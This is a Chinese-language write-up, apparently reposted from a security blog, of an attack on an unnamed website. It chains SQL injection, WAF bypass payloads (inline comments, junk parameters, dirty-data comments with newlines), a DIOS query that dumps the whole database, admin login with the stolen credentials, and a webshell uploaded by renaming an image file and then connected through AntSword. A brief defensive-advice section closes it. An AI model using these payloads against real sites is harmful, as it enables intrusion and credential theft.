实战绕过某WAF+拿shell组合拳
字数 1104 2025-08-07 08:21:57

实战绕过某WAF并获取Shell的完整技术分析

0x01 注入环节技术分析

1. 初始注入点确认

  • 目标URL加单引号报错,加闭合注释-- -后返回正常,确认存在SQL注入漏洞
  • 初步判断为字符型注入,闭合方式为单引号

2. 绕过WAF的Order By检测

  • 直接使用order by被WAF拦截导致连接重置
  • 使用MySQL内联注释成功绕过:/!order/ /!by/ 10-- -
  • 通过二分法确定字段数为17个(18报错,17正常回显)

3. 绕过Union Select拦截

  • WAF强制拦截unionselect关键字
  • 直接注释无法绕过(如uni/*xxx*/on仍被拦截)

绕过技术1:利用数学函数+垃圾参数

  • 构造and mod(35,12)降低WAF拦截强度
  • 添加垃圾参数使WAF误判:
    detail.php?asdasdasdasd/*&id=10' and mod (35,12) union &asdasdas=1*/
    
  • 原理:服务器端脚本未接收的垃圾参数(asdasdasd)使WAF认为语句已被注释

绕过技术2:注释+脏数据+换行

  • 使用%23(URL编码的#)添加注释
  • 在注释中填充大量脏数据混淆WAF
  • 使用%0a换行分隔unionselect
    detail.php?asdasdasdasd/*&id=10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect &asdasdas=1*/
    

4. 获取回显位与数据

  • 确定回显位为第6个字段
  • 获取当前数据库:database()
  • 使用Dump in One Shot(DIOS)技术一次性获取所有表结构:
    concat((select @rui from(select (@rui:=0x00),(select @rui from information_schema.columns where table_schema=database() and @rui in(@rui:=concat(@rui,table_name,0x2d2d3e,column_name,0x3c62723e))))rui))
    
  • 搜索password关键字定位管理员凭证表

0x02 拿Shell环节技术分析

1. 后台发现与登录

  • 使用Google语法搜索发现管理后台
  • 利用注入获取的账号密码成功登录

2. 文件上传绕过尝试

  • 首次尝试:修改文件扩展名上传(如.jpg改为.php)
    • 结果:PHP内容被强制转换为图片,失败
  • 二次尝试:利用档案管理功能
    1. 上传图片格式的一句话木马
    2. 通过档案管理修改文件后缀为.php
    3. 成功获取Webshell

3. Webshell连接

  • 使用中国蚁剑(AntSword)连接获取的Webshell
  • 成功建立持久化访问通道

关键知识点总结

  1. WAF绕过技术

    • 内联注释绕过关键字检测(/!order/)
    • 数学函数降低拦截强度(mod(35,12))
    • 垃圾参数混淆WAF逻辑
    • 注释+脏数据+换行分割关键字
  2. 高效注入技术

    • DIOS技术一次性获取所有表结构
    • 利用变量拼接减少查询次数
  3. 文件上传绕过

    • 双重扩展名绕过
    • 文件内容修改功能滥用
    • 前后端校验不一致利用
  4. 防御建议

    • 严格过滤所有输入参数
    • 实现统一的文件上传校验机制
    • 禁用不必要的数据库信息查询权限
    • 对管理后台实施多因素认证

此案例展示了从SQL注入到获取系统完整控制权的完整攻击链,强调了纵深防御的重要性。

实战绕过某WAF并获取Shell的完整技术分析 0x01 注入环节技术分析 1. 初始注入点确认 目标URL加单引号报错,加闭合注释 -- - 后返回正常,确认存在SQL注入漏洞 初步判断为字符型注入,闭合方式为单引号 2. 绕过WAF的Order By检测 直接使用 order by 被WAF拦截导致连接重置 使用MySQL内联注释成功绕过: /!order/ /!by/ 10-- - 通过二分法确定字段数为17个(18报错,17正常回显) 3. 绕过Union Select拦截 WAF强制拦截 union 和 select 关键字 直接注释无法绕过(如 uni/*xxx*/on 仍被拦截) 绕过技术1:利用数学函数+垃圾参数 构造 and mod(35,12) 降低WAF拦截强度 添加垃圾参数使WAF误判: 原理:服务器端脚本未接收的垃圾参数( asdasdasd )使WAF认为语句已被注释 绕过技术2:注释+脏数据+换行 使用 %23 (URL编码的#)添加注释 在注释中填充大量脏数据混淆WAF 使用 %0a 换行分隔 union 和 select 4. 获取回显位与数据 确定回显位为第6个字段 获取当前数据库: database() 使用Dump in One Shot(DIOS)技术一次性获取所有表结构: 搜索 password 关键字定位管理员凭证表 0x02 拿Shell环节技术分析 1. 后台发现与登录 使用Google语法搜索发现管理后台 利用注入获取的账号密码成功登录 2. 文件上传绕过尝试 首次尝试:修改文件扩展名上传(如.jpg改为.php) 结果:PHP内容被强制转换为图片,失败 二次尝试:利用档案管理功能 上传图片格式的一句话木马 通过档案管理修改文件后缀为.php 成功获取Webshell 3. Webshell连接 使用中国蚁剑(AntSword)连接获取的Webshell 成功建立持久化访问通道 关键知识点总结 WAF绕过技术 : 内联注释绕过关键字检测( /!order/ ) 数学函数降低拦截强度( mod(35,12) ) 垃圾参数混淆WAF逻辑 注释+脏数据+换行分割关键字 高效注入技术 : DIOS技术一次性获取所有表结构 利用变量拼接减少查询次数 文件上传绕过 : 双重扩展名绕过 文件内容修改功能滥用 前后端校验不一致利用 防御建议 : 严格过滤所有输入参数 实现统一的文件上传校验机制 禁用不必要的数据库信息查询权限 对管理后台实施多因素认证 此案例展示了从SQL注入到获取系统完整控制权的完整攻击链,强调了纵深防御的重要性。